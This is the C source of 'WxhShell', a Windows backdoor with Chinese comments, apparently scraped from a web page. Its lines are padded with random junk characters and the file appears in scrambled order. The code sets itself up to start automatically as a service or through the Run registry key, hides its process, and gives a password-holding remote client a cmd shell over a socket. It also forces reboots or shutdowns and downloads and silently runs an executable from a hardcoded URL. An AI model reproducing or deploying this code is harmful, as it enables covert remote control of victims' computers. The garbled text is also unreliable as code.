    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v'y<}U  
    else { zq^eL=%:  
    closesocket(wsh); OOus*ooo2  
    ExitThread(0); !Cm9DzG  
    } .#e?[xxk  
    break; ug`Jn&x!  
    } x2]chN  
  // 获取shell jA%R8hdr_  
  case 's': { .YS48 c  
    CmdShell(wsh); Bb5RZ#oa  
    closesocket(wsh); _ =O;Lz$x  
    ExitThread(0); :bp8S@  
    break; bb`DyUy ^+  
  } QN~9O^  
  // 退出 -Ze2]^#dl  
  case 'x': { -S $Y0FDV  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 8g_GXtn(z  
    CloseIt(wsh); /Q9iO&Vu  
    break; @2A&eLw LH  
    } Z oKXao  
  // 离开 s)~H_,  
  case 'q': { R? ,XSJ  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); @JD!.3  
    closesocket(wsh); 6x_D0j%^]  
    WSACleanup(); !Ie={BpzbZ  
    exit(1); SC0_ h(zb,  
    break; 1,G f;mcQ  
        } FVH R  
  } 6$$ku  
  } :"oUnBY%  
/{X2:g{  
  // 提示信息 ~c GH+M@  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); f+dj6!g5/  
} +@C|u'  
  } !='&#@7u  
XM*%n8q7#N  
  return; ?[Qxq34  
} RZKczZGZg  
L)Ru]X`  
// shell模块句柄 gtb,}T=1  
int CmdShell(SOCKET sock) mt3j$r{_  
{ }&*,!ES*  
STARTUPINFO si; o>4GtvA*  
ZeroMemory(&si,sizeof(si)); ?pF uV`Zm  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; }W R?n  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ;=ERm=  
PROCESS_INFORMATION ProcessInfo; 3H/4$XJB  
char cmdline[]="cmd"; <Okl.Iz>  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ji|tc9#6  
  return 0; -u 'BK@;  
} V IU4QEW`x  
RV+0C&0ff  
// 自身启动模式 `zRm "G  
int StartFromService(void) > 1&_-  
{ lMBXD?,,J  
typedef struct _NJq%-,'  
{ . !;K5U  
  DWORD ExitStatus; !"x&tF  
  DWORD PebBaseAddress; 7j L.\O  
  DWORD AffinityMask; IOOAaa @(  
  DWORD BasePriority; A4|a{\|$  
  ULONG UniqueProcessId; HOAgRhzE  
  ULONG InheritedFromUniqueProcessId; y]ZujfW7  
}   PROCESS_BASIC_INFORMATION; .EoLJHL }  
8klu*  
PROCNTQSIP NtQueryInformationProcess; 7~Md6.FtM  
% g*AGu`  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ~~'UQnUN4  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; )[hQK_e]  
Vnq&lz%QqC  
  HANDLE             hProcess; 8L*P!j9`EY  
  PROCESS_BASIC_INFORMATION pbi; pO_L,~<  
({AqL#x`u  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); | sio:QP  
  if(NULL == hInst ) return 0; =XT}&D6  
~<#!yRy>r  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); U#!f^@&AB  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); !G3d5d2)C  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 07L 1 "  
|cE 69UFB  
  if (!NtQueryInformationProcess) return 0; $>fMu   
^h@1tFF  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); : |?nz$  
  if(!hProcess) return 0; V<;w  
?N*|S)BN  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; r8E)GBH-|  
/Z*XKIU6v/  
  CloseHandle(hProcess); g4 |s9RMD  
u`vOKajpH$  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 7 a}qnk %  
if(hProcess==NULL) return 0; DVq 5[ntG  
.3.oan*i  
HMODULE hMod; gf8DhiB  
char procName[255]; eD481r  
unsigned long cbNeeded; L(2KC>GvA  
%kJ_o*"  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); JW4~Qwx  
Yw\PmRL"p  
  CloseHandle(hProcess); fc #zhp5bX  
&u'$q  
if(strstr(procName,"services")) return 1; // 以服务启动 f6h!wx  
[nam H a  
  return 0; // 注册表启动 KGsH3{r  
} 5 5_#?vw  
}t[?g)"M#-  
// 主模块 Y&Sk/8  
int StartWxhshell(LPSTR lpCmdLine) Z'vGX,:  
{ p=65L  
  SOCKET wsl; / b_C9'S  
BOOL val=TRUE; (hn@+hc  
  int port=0; 6:(*u{  
  struct sockaddr_in door; Iu`xe  
 S=o1k  
  if(wscfg.ws_autoins) Install(); S6r$n  
=hO0 @w  
port=atoi(lpCmdLine); HNRZ59Yyq  
X;I;CZ={  
if(port<=0) port=wscfg.ws_port; sacaL4[_<  
n%>c4*t  
  WSADATA data; (gv1f  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 7aJLC!  
^$7Lmd.qI  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ~EVD NnHEr  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); VE<&0d<  
  door.sin_family = AF_INET; m\88Etl@  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); o#-K,|-  
  door.sin_port = htons(port); /^kZ}}9baU  
MW^,l=kqW)  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ZV`D} CQ  
closesocket(wsl); +|N!(H  
return 1; ,[lS)`G  
} ix<sorR H  
8()L}@y  
  if(listen(wsl,2) == INVALID_SOCKET) { hDp -,ag{  
closesocket(wsl); JwNG`M Gc  
return 1; K>2mm!{  
} yE(>R(^  
  Wxhshell(wsl); a+TlZE>8  
  WSACleanup(); pFLR!/J  
ztNm,1pnQ  
return 0; `43`*=  
8Q&hhmOnz  
} 4,!S?:7  
G H N  
// 以NT服务方式启动 meHAa`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ]E1aIt  
{ 0B^0,d(s  
DWORD   status = 0; CF`tNA3fxm  
  DWORD   specificError = 0xfffffff; ik@g;>pQD  
;hz"`{(JY  
  serviceStatus.dwServiceType     = SERVICE_WIN32; <|_/i/H  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; L {6y]t7^  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; z:hY{/-  
  serviceStatus.dwWin32ExitCode     = 0; ZqHh$QBD 9  
  serviceStatus.dwServiceSpecificExitCode = 0; 'J (4arN  
  serviceStatus.dwCheckPoint       = 0; jJc?/1jv  
  serviceStatus.dwWaitHint       = 0; HG2i^y  
*<yKT$(+_  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ef\Pu\'U  
  if (hServiceStatusHandle==0) return; /;t42 g9w  
@aU%1h5W;l  
status = GetLastError(); 4+t9"SD  
  if (status!=NO_ERROR) c]`}DH,TJ  
{ :" 9 :J  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; HL;y5o?  
    serviceStatus.dwCheckPoint       = 0; 2jTP (b2b  
    serviceStatus.dwWaitHint       = 0; ]VifDFL}  
    serviceStatus.dwWin32ExitCode     = status; }|rnyYA  
    serviceStatus.dwServiceSpecificExitCode = specificError; hKq#i8py  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); @'.(62v  
    return; M^\#(0^2@  
  } Vd2bG4*=  
.z u0GsU=  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; VjbRjn5LI  
  serviceStatus.dwCheckPoint       = 0; }Z MbTsm  
  serviceStatus.dwWaitHint       = 0; ~7Ey9wRkD  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); aVI/x5p~  
} !7MC[z(|N  
YN1P9j#0d  
// 处理NT服务事件,比如:启动、停止 +'9l 2DI;  
VOID WINAPI NTServiceHandler(DWORD fdwControl) q<L>r?T[  
{ lE~5 b  
switch(fdwControl) b[<zT[.:  
{ DGl_SMJb  
case SERVICE_CONTROL_STOP: TSHsEcfO  
  serviceStatus.dwWin32ExitCode = 0; cD&53FPXC  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; B w1ir  
  serviceStatus.dwCheckPoint   = 0; Om%{fq&  
  serviceStatus.dwWaitHint     = 0; LXr yv;H  
  { b !FX]d1~k  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _RT3Fk  
  } CQf!<  
  return; cXx?MF5  
case SERVICE_CONTROL_PAUSE: &n>\ +Q   
  serviceStatus.dwCurrentState = SERVICE_PAUSED; _T6l*D  
  break; c"w}<8  
case SERVICE_CONTROL_CONTINUE: TAbd[:2{F  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; c:0nOP  
  break; byl#8=?  
case SERVICE_CONTROL_INTERROGATE: =B9Ama   
  break; 1b:3'E.#w  
}; vA rM.Bu>b  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); jm1f,=R  
} 6eSc`t&  
A`Vz5WB  
// 标准应用程序主函数 8OoKP4,;  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) `mTpL^f  
{ xSFY8  
V)M+dhl  
// 获取操作系统版本 Q}p+/-U\  
OsIsNt=GetOsVer(); }D_h*9  
GetModuleFileName(NULL,ExeFile,MAX_PATH); L>~wcoB  
3+mC96wN  
  // 从命令行安装 OOy]:t4 /  
  if(strpbrk(lpCmdLine,"iI")) Install(); ~Zbr7zVn  
J0 BA@jH5  
  // 下载执行文件 %$/t`'&o-  
if(wscfg.ws_downexe) { j(4BMk  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) " N)dle,  
  WinExec(wscfg.ws_filenam,SW_HIDE); T4,dhS|  
} 0 1U/{D6D  
^&oa\7<'  
if(!OsIsNt) { 5gnNgt~  
// 如果时win9x,隐藏进程并且设置为注册表启动 ]J;pUH+u  
HideProc(); Z?k4Kb  
StartWxhshell(lpCmdLine); H!Gsu$C  
} xc[Lb aBG  
else pPt7M'uL"  
  if(StartFromService()) %n-:mSus  
  // 以服务方式启动 g 4,>cqRkq  
  StartServiceCtrlDispatcher(DispatchTable); ?N2/;u>  
else %~ uMa  
  // 普通方式启动 n82N@z<8]  
  StartWxhshell(lpCmdLine); +yX\!H"  
fHTqLYd-  
return 0; 9%e& Z'l  
} >S4klW=*I  
pI2g\cH>  
LaL.C^K  
o7"2"( =>  
=========================================== mJT<  
?bwF$Ku  
?4%'6R  
t_HS0rxG  
.#zmX\a  
f\O)+Vc  
" asT:/z0  
_" 0VM >  
#include <stdio.h> 7'pCFeA>=T  
#include <string.h> J(+I`  
#include <windows.h> <fq?{z  
#include <winsock2.h> MW|Qop[  
#include <winsvc.h> NZ:A?h2JR  
#include <urlmon.h> xQV5-VoFC  
OZ\]6]L  
#pragma comment (lib, "Ws2_32.lib") Ei!5Qya>  
#pragma comment (lib, "urlmon.lib") dn0?#=  
]m} <0-0  
#define MAX_USER   100 // 最大客户端连接数 SE= 3`rVJ  
#define BUF_SOCK   200 // sock buffer j+0=)Q%I=  
#define KEY_BUFF   255 // 输入 buffer dIiQ^M  
pp{Za@j  
#define REBOOT     0   // 重启 jQjtO"\JG  
#define SHUTDOWN   1   // 关机 rW$ )f  
E- ,/@4k  
#define DEF_PORT   5000 // 监听端口 EU?)AxH^  
P?%kV  
#define REG_LEN     16   // 注册表键长度 #~J)?JL  
#define SVC_LEN     80   // NT服务名长度 4:\1S~WW  
~e<l`rg#  
// 从dll定义API {=Y%=^!s  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); d<mj=V@bd  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Bbuy y  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ^c?2n  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); w'[lIEP 2$  
(=:9pbP  
// wxhshell配置信息 ax{+7  k  
struct WSCFG { ;O=tSEe  
  int ws_port;         // 监听端口 p9]008C89  
  char ws_passstr[REG_LEN]; // 口令 %Od?(m"&  
  int ws_autoins;       // 安装标记, 1=yes 0=no )G$/II9d  
  char ws_regname[REG_LEN]; // 注册表键名 IV$pA`|V  
  char ws_svcname[REG_LEN]; // 服务名 s)Bl1\Q  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 K5-wuD1  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 lA[BV7.=7  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 bDI#'F  
int ws_downexe;       // 下载执行标记, 1=yes 0=no bqEQP3t^  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" JjarMJr| D  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 k.nq,  
u,i~,M  
}; E!.>*`)?.  
3vx*gfr3  
// default Wxhshell configuration ^CZ!rOSv  
struct WSCFG wscfg={DEF_PORT, (jYHaTL6Y'  
    "xuhuanlingzhe", 28 qTC?  
    1, @, v'V!  
    "Wxhshell", (`+%K_  
    "Wxhshell", R2k R   
            "WxhShell Service", #({0HFSC:j  
    "Wrsky Windows CmdShell Service", ZuIr=`"j  
    "Please Input Your Password: ", Vae}:8'}  
  1, Pg[XIfBva  
  "http://www.wrsky.com/wxhshell.exe", X`kTbIZ|  
  "Wxhshell.exe" 3|4jS"t{f  
    }; ta`}}I  
*Dx&}"  
// 消息定义模块 _[ml<HW]  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ` #Qlr+X  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ^_FB .y%  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ^|yw)N]Q/  
char *msg_ws_ext="\n\rExit."; s=0z%~H  
char *msg_ws_end="\n\rQuit."; -*8|J;  
char *msg_ws_boot="\n\rReboot..."; 9\9:)q  
char *msg_ws_poff="\n\rShutdown..."; w"Gci~]bXU  
char *msg_ws_down="\n\rSave to "; ">='l9  
MY>mP  
char *msg_ws_err="\n\rErr!"; G gmv(!  
char *msg_ws_ok="\n\rOK!"; HGqT"N Jr  
YTH3t] &  
char ExeFile[MAX_PATH]; \9Nd"E[B  
int nUser = 0; &2-dZK  
HANDLE handles[MAX_USER]; &DoYz[q  
int OsIsNt; !{'C.sb?~  
aO :wedfl  
SERVICE_STATUS       serviceStatus; G'b*.\=  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; }F3}-5![  
MVdX  
// 函数声明 D:`b61sWi_  
int Install(void); (]* Ro 8  
int Uninstall(void); 5 [{l9  
int DownloadFile(char *sURL, SOCKET wsh); '?]B ui  
int Boot(int flag); O_%X>Q9  
void HideProc(void); \.c   
int GetOsVer(void); .U.Knn  
int Wxhshell(SOCKET wsl); &''lOS|  
void TalkWithClient(void *cs); (tQ#('(w  
int CmdShell(SOCKET sock); Pf`HF|NI  
int StartFromService(void); o6LeC*  
int StartWxhshell(LPSTR lpCmdLine);  ~DYUI#x  
i("ok  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); f' |JLhs  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); TEQs\d  
O$ dz=)  
// 数据结构和表定义 VF8pH <  
SERVICE_TABLE_ENTRY DispatchTable[] = {%g]Ym=  
{ l /?Jp+]  
{wscfg.ws_svcname, NTServiceMain}, zN2CI6  
{NULL, NULL} m x`QBJ  
}; $ ?ayE  
?N*m2rv  
// 自我安装 E= 3Ui  
int Install(void) BYjEo  
{ | Q0Wv8/  
  char svExeFile[MAX_PATH]; qffVF|7  
  HKEY key; fmqHWu*wG  
  strcpy(svExeFile,ExeFile); CK4C:`YG  
TmI~P+5w  
// 如果是win9x系统,修改注册表设为自启动 \F`%vZrKR  
if(!OsIsNt) { \NE~k)`4j%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~z;G$jd  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *F:f\9   
  RegCloseKey(key); SUv(MA&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { '3B"@^]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ft |W  
  RegCloseKey(key); alr'If@7  
  return 0; ]70V  
    } )4h4ql W  
  } mn5y]:;`  
} 0\W6X;?  
else { < cNJrer  
L\)GPTo!x  
// 如果是NT以上系统,安装为系统服务 }Xa1K;KM{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); >@Vap  
if (schSCManager!=0) !2 YvG%t^6  
{ 3a|I| NP  
  SC_HANDLE schService = CreateService .W;,~.l  
  ( jP(|pz  
  schSCManager,  ,2yIKPWk  
  wscfg.ws_svcname, ](%EQ[  
  wscfg.ws_svcdisp, o03Y w)*  
  SERVICE_ALL_ACCESS, 2%!yV~Z  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , r.WQ6h/eZ5  
  SERVICE_AUTO_START, `i~kW  
  SERVICE_ERROR_NORMAL, o8uak*"{  
  svExeFile, w|t}.u  
  NULL, MS7rD%(,'  
  NULL, t4Q&^AC  
  NULL, Veeuw  
  NULL, [2*?b/q3J  
  NULL _+B{n^ {  
  ); ?$v*_*:2h  
  if (schService!=0) E@.daUoB  
  { 9E`Laf  
  CloseServiceHandle(schService); LH_VdLds  
  CloseServiceHandle(schSCManager); Sbzx7 *X  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); N [qNSo|  
  strcat(svExeFile,wscfg.ws_svcname); zE,1zBS<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 7{W#i<W  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ?WEKRl  
  RegCloseKey(key); B>]4NF\)H9  
  return 0; M9C v00&  
    } Fy#y.jK9v  
  } bd'io O  
  CloseServiceHandle(schSCManager); ZovF]jf k  
} ?^} z  
} Ef)v("'w  
c_~tCKAZ   
return 1; kleE\ 8_  
} ) dB?Ep|  
!-tP\%'  
// 自我卸载 @IE.@1  
int Uninstall(void) p;xMudM  
{ DH9p1)L'  
  HKEY key; _&SST)Y|  
7!;48\O]w  
if(!OsIsNt) { i]$/& /  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { BV"l;&F[  
  RegDeleteValue(key,wscfg.ws_regname); ka c-@  
  RegCloseKey(key); qh~$AJ9sB  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +o3 ZQ9  
  RegDeleteValue(key,wscfg.ws_regname); 9z'(4U  
  RegCloseKey(key); *8%nbR  
  return 0; qk}Mb_*C)  
  } ']C" 'b  
} "wi}/,)  
} pr w% )#,  
else { `ElJL{Rn  
,DIr&5>p2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); [wkSY>Gu  
if (schSCManager!=0) q.:j yj6  
{ *KYh_i  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); uY;7&Lw y1  
  if (schService!=0) )u?^w  
  { cgV5{|P  
  if(DeleteService(schService)!=0) { c&"OhzzJK'  
  CloseServiceHandle(schService); ET\>cxSp  
  CloseServiceHandle(schSCManager); werTwe2Q  
  return 0; E0t%]?1  
  } 8+mu'RZ X  
  CloseServiceHandle(schService); W.sH  
  } /Z1>3=G by  
  CloseServiceHandle(schSCManager); !QsmT3   
} {>h,@  
} Dzr(Fb  
iezY+`x4  
return 1; ?m bI6fYv  
} nd)`G$gL  
jBr3Ay@<  
// 从指定url下载文件 .22}= z  
int DownloadFile(char *sURL, SOCKET wsh) 'GF<_3I2l  
{ "ivSpec.V  
  HRESULT hr; ]N^>>k  
char seps[]= "/"; 0f;`Zj0l8  
char *token; R^VmNj  
char *file; Ae8P'FWB>  
char myURL[MAX_PATH]; [A'9sxG  
char myFILE[MAX_PATH]; ijeas<  
{fxytiH8  
strcpy(myURL,sURL); :F.eyA|#@G  
  token=strtok(myURL,seps); LTZ~Id-)P  
  while(token!=NULL) j&l2n2z  
  { g{e@I;F  
    file=token; +![\7  
  token=strtok(NULL,seps); l<UJ@XID$  
  } 7J|e L yj  
3e?a$~9  
GetCurrentDirectory(MAX_PATH,myFILE); \Lz4ZZjSY  
strcat(myFILE, "\\"); se S)`@n  
strcat(myFILE, file); i:sb_U+M  
  send(wsh,myFILE,strlen(myFILE),0); eMOnzW|h  
send(wsh,"...",3,0); }&Ul(HR  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); mNQ*YCq.  
  if(hr==S_OK) 5;[h&jH  
return 0; "ZR^w5  
else P"s7}cl  
return 1; nC@UK{tVa  
YPmgR]=6  
} (i@B+c  
?UBhM,;XK  
// 系统电源模块 &d6  
int Boot(int flag) V_P,~!  
{ /_ RrNzqy  
  HANDLE hToken; t }>"nr0  
  TOKEN_PRIVILEGES tkp;  t@+z r3  
4>Y\Y$3  
  if(OsIsNt) { NGAjajB  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); osPrr QoH  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); :rnj>U6<>  
    tkp.PrivilegeCount = 1; s}Q*zy  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 2 X`5YN;  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); TIVrbO\!o  
if(flag==REBOOT) { nA.~}  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) %)}y[ (  
  return 0; m<GJ1)%3i  
} ~IS3i'bh  
else { ;hkzL_' E)  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ;#n+$Q#:  
  return 0; KBa   
} +7$zL;ph=n  
  } Vbp`Rm1?  
  else { [' cq  
if(flag==REBOOT) { (k<__W c_t  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) (T8dh|  
  return 0; X@^"@  
} N6uKFQL:{  
else { 4L/8Hj#g  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ^<v]x; 3  
  return 0; `dm}|$X|  
} iNEE2BPp  
} @WO>F G3  
{PQ!o^7y  
return 1; $#HUxwx4  
} Sj9NhtF]f  
M|\C@,F]8  
// win9x进程隐藏模块 |s{[<;  
void HideProc(void) |C3~Q{A  
{ {on+ ;,  
>o8N@`@VK-  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 8\9s,W:5  
  if ( hKernel != NULL ) c@)}zcw*  
  { +I_p\/J?w/  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); S#f}mb0,  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 8L,i}hIo.  
    FreeLibrary(hKernel); dx[kG  
  } K91.-k3)$  
Cl'3I%$8K  
return; )+v' @]r  
} { , zg  
="AJ &BqHd  
// 获取操作系统版本 pb=yQ}.  
int GetOsVer(void) 93fClF|@  
{ V8IEfU  
  OSVERSIONINFO winfo; Q0-}!5`E1$  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); $+Zj)V(  
  GetVersionEx(&winfo); -?PXj)<  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) -A;4""  
  return 1; 7?EC kuSv  
  else YRs32vVz  
  return 0; g@B,0JRh  
} V;>u()  
g9oY K  
// 客户端句柄模块  4xnM7t\  
int Wxhshell(SOCKET wsl) O"~BnA`dJ  
{ ey! {  
  SOCKET wsh; Hpq?I-g<^  
  struct sockaddr_in client; d}_%xkC  
  DWORD myID; *u?N{LkqS  
[I4&E >  
  while(nUser<MAX_USER) c&u~M=EW  
{ J<=k [Q  
  int nSize=sizeof(client); z9IJ%= R  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ;'xd8Jf  
  if(wsh==INVALID_SOCKET) return 1; =EdLffU[J  
v %GcNjZk5  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); /8tF7Mmr  
if(handles[nUser]==0) _ ZC[h~9H  
  closesocket(wsh); a~"<lzu|$  
else _M9-n  
  nUser++; 7l|D!`BS  
  } v|K<3@J  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 2[Q/|D}}|  
KMZEUmY1R1  
  return 0; Y~ ( <H e?  
} #Hyfj j  
2*9rhOK*  
// 关闭 socket ( R0>0f@  
void CloseIt(SOCKET wsh) nlaeo"]  
{ ECF \/12  
closesocket(wsh); Vs~!\<?  
nUser--; }ikJ a  
ExitThread(0); SB\T iH/  
} %?~`'vYoi  
pu9ub.  
// 客户端请求句柄 Bh*7uNM  
void TalkWithClient(void *cs) y&8kORz;?  
{ (XJ0?;js=  
[!CIBK99  
  SOCKET wsh=(SOCKET)cs; ZJeTx.Gi6  
  char pwd[SVC_LEN]; 0'O*Y ]h+  
  char cmd[KEY_BUFF]; .P>-Fh,_p  
char chr[1]; K%/:V  
int i,j; Z$&i"1{  
tW#=St0<.o  
  while (nUser < MAX_USER) { g4fe(.?c,  
Z_Z; g]|!  
if(wscfg.ws_passstr) { T6=q[LpsKN  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); aO]FQ#l2b  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =f*Wj\  
  //ZeroMemory(pwd,KEY_BUFF); WPzq?yK  
      i=0; 8>y!=+9_  
  while(i<SVC_LEN) { ?E88y  
_6 ,Tb]  
  // 设置超时 9X6l`bo'  
  fd_set FdRead; Jf|6 FQo&  
  struct timeval TimeOut; eX9Hwq4X44  
  FD_ZERO(&FdRead); gkN )`/`*  
  FD_SET(wsh,&FdRead); !YCus;B~  
  TimeOut.tv_sec=8; @3@oaa/v  
  TimeOut.tv_usec=0; [J71aH  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 95%, 8t  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); aE'nW@YL.  
GDMg.w 4Yk  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %x G3z7;  
  pwd=chr[0]; /o)o7$6Q  
  if(chr[0]==0xd || chr[0]==0xa) { fX[6  {  
  pwd=0; Z?}yPs Ob  
  break; f.cQp&&]r  
  } a6&+>\o  
  i++; E0Neo _7  
    }  !Hp H  
!^EdB}@yS  
  // 如果是非法用户,关闭 socket bn8`$FA^  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); '&#YaD=""  
} [esR!})  
}co*%F{1  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); c7fQ{"f 3B  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <.lT.>'?  
!=w&=O0(  
while(1) { *tD`X( K  
(T]<  
  ZeroMemory(cmd,KEY_BUFF); LAT%k2%Wx  
ZLRAiL  
      // 自动支持客户端 telnet标准   M((]> *g  
  j=0; }#h>*+Q  
  while(j<KEY_BUFF) { Q5:8$ C}+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); />,Tq!i\4}  
  cmd[j]=chr[0]; SpB\kC"K  
  if(chr[0]==0xa || chr[0]==0xd) { '8|y^\  
  cmd[j]=0; [`eqma  
  break; X>`5YdT~+  
  } 6mH --!j  
  j++; +"Ui @^  
    } <7;AK!BH  
@\|W#,~  
  // 下载文件 =vaC?d3   
  if(strstr(cmd,"http://")) { z :_o3W.E  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); U=a'(fX  
  if(DownloadFile(cmd,wsh)) g;Lk 'Ky6  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); j$z<wR7j0  
  else '.mHx#?7  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0;bi*2U  
  } c-ahe;q  
  else { 1Y-m=~J7  
pRAdo="  
    switch(cmd[0]) { C25r3bj  
  { eU_  
  // 帮助 B)bq@jM  
  case '?': { L`M.Htm8  
